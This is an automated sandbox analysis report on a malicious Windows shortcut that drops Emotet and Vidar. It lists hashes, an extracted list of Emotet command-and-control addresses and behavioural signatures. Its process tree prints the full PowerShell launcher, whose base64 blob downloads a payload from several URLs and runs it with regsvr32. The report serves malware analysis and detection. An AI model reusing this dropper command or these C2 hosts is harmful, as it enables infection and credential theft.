Analysis
-
max time kernel
319s -
max time network
322s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
26-04-2022 20:07
Static task
static1
General
-
Target
Electronic form 04.26.2022, USA.lnk
-
Size
2KB
-
MD5
e87c1ae2b8c7e85b6431d420310df80e
-
SHA1
683ab8df53a58982807ef65f3b68bb2bbab6fc6e
-
SHA256
cde9b766bf2966ed7f0396fee7e23fdb7246b534affd58f6d4caf50237ff110b
-
SHA512
c7959fed580f4e6096c345973fd2c19b049cf3e8539f391321a61fd4ff18fd4d7683cfb5534c38cf9ad9cc26cd99eb3a8f142b13b2430b761f78272b937e0c45
Malware Config
Extracted
emotet
Epoch4
138.201.142.73:8080
138.197.147.101:443
134.195.212.50:7080
104.168.154.79:8080
149.56.131.28:8080
129.232.188.93:443
212.24.98.99:8080
119.193.124.41:7080
45.118.115.99:8080
188.44.20.25:443
103.132.242.26:8080
201.94.166.162:443
1.234.21.73:7080
206.189.28.199:8080
185.8.212.130:7080
82.165.152.127:8080
176.104.106.96:8080
173.212.193.249:8080
167.99.115.35:8080
209.126.98.206:8080
185.157.82.211:8080
212.237.17.99:8080
185.4.135.165:8080
51.91.7.5:8080
187.84.80.182:443
164.68.99.3:8080
107.182.225.142:8080
58.227.42.236:80
103.75.201.2:443
101.50.0.91:8080
216.158.226.206:443
151.106.112.196:8080
45.235.8.30:8080
146.59.226.45:443
45.176.232.124:443
134.122.66.193:8080
51.254.140.238:7080
131.100.24.231:80
167.172.253.162:8080
50.30.40.196:8080
203.114.109.124:443
94.23.45.86:4143
189.126.111.200:7080
160.16.142.56:8080
27.54.89.58:8080
5.9.116.246:8080
46.55.222.11:443
209.97.163.214:443
110.232.117.186:8080
1.234.2.232:8080
153.126.146.25:7080
183.111.227.137:8080
196.218.30.83:443
103.70.28.102:8080
51.91.76.89:8080
91.207.28.33:8080
72.15.201.15:8080
103.43.46.182:443
209.250.246.206:443
197.242.150.244:8080
159.65.88.10:8080
172.104.251.154:8080
158.69.222.101:443
Extracted
vidar
51.9
1281
https://koyu.space/@ronxik123
-
profile_id
1281
Signatures
-
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 12 IoCs
Processes:
resource yara_rule behavioral1/memory/372-167-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/372-169-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/372-170-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/372-171-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/372-172-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/372-173-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/1716-211-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/1716-212-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/1716-213-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/1716-214-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/1716-215-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar behavioral1/memory/1716-216-0x00000000000E0000-0x00000000009AB000-memory.dmp family_vidar -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 23 4732 powershell.exe 29 4732 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
Processes:
Setup.exeSetup.exepid process 372 Setup.exe 1716 Setup.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Setup.exeSetup.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Setup.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation cmd.exe -
Loads dropped DLL 4 IoCs
Processes:
regsvr32.exeregsvr32.exeSetup.exepid process 4696 regsvr32.exe 3500 regsvr32.exe 372 Setup.exe 372 Setup.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
Setup.exeSetup.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe -
Drops file in System32 directory 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened for modification C:\Windows\system32\Yqhvnff\cyxtqmxkdinpka.sch regsvr32.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
Setup.exeSetup.exepid process 372 Setup.exe 1716 Setup.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exeSetup.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Setup.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
chrome.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Modifies registry class 1 IoCs
Processes:
taskmgr.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\Local Settings taskmgr.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exeregsvr32.exetaskmgr.exepid process 3232 powershell.exe 3232 powershell.exe 4732 powershell.exe 4732 powershell.exe 3500 regsvr32.exe 3500 regsvr32.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
taskmgr.exepid process 1360 taskmgr.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs
Processes:
chrome.exepid process 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe 784 chrome.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exepowershell.exetaskmgr.exe7zG.exedescription pid process Token: SeDebugPrivilege 3232 powershell.exe Token: SeDebugPrivilege 4732 powershell.exe Token: SeDebugPrivilege 1360 taskmgr.exe Token: SeSystemProfilePrivilege 1360 taskmgr.exe Token: SeCreateGlobalPrivilege 1360 taskmgr.exe Token: SeRestorePrivilege 2268 7zG.exe Token: 35 2268 7zG.exe Token: SeSecurityPrivilege 2268 7zG.exe Token: SeSecurityPrivilege 2268 7zG.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
taskmgr.exepid process 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
taskmgr.exepid process 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe 1360 taskmgr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exepowershell.exeregsvr32.exechrome.exedescription pid process target process PID 4468 wrote to memory of 3232 4468 cmd.exe powershell.exe PID 4468 wrote to memory of 3232 4468 cmd.exe powershell.exe PID 3232 wrote to memory of 4732 3232 powershell.exe powershell.exe PID 3232 wrote to memory of 4732 3232 powershell.exe powershell.exe PID 4732 wrote to memory of 4696 4732 powershell.exe regsvr32.exe PID 4732 wrote to memory of 4696 4732 powershell.exe regsvr32.exe PID 4696 wrote to memory of 3500 4696 regsvr32.exe regsvr32.exe PID 4696 wrote to memory of 3500 4696 regsvr32.exe regsvr32.exe PID 784 wrote to memory of 3012 784 chrome.exe chrome.exe PID 784 wrote to memory of 3012 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1284 784 chrome.exe chrome.exe PID 784 wrote to memory of 1844 784 chrome.exe chrome.exe PID 784 wrote to memory of 1844 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe PID 784 wrote to memory of 1792 784 chrome.exe chrome.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Electronic form 04.26.2022, USA.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Electronic form 04.26.2022, USA.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps13⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp/wZxpcGhqPx.eqZ4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\regsvr32.exeC:\Windows\system32\regsvr32.exe "C:\Windows\system32\Yqhvnff\cyxtqmxkdinpka.sch"5⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffcc67c4f50,0x7ffcc67c4f60,0x7ffcc67c4f702⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1708 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1804 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2364 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3056 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3048 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3896 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4632 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4676 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4624 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5032 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5400 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4708 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4992 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5000 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5660 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4656 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4648 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4600 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4664 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,7195875900838007562,15321469634026693524,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:12⤵
-
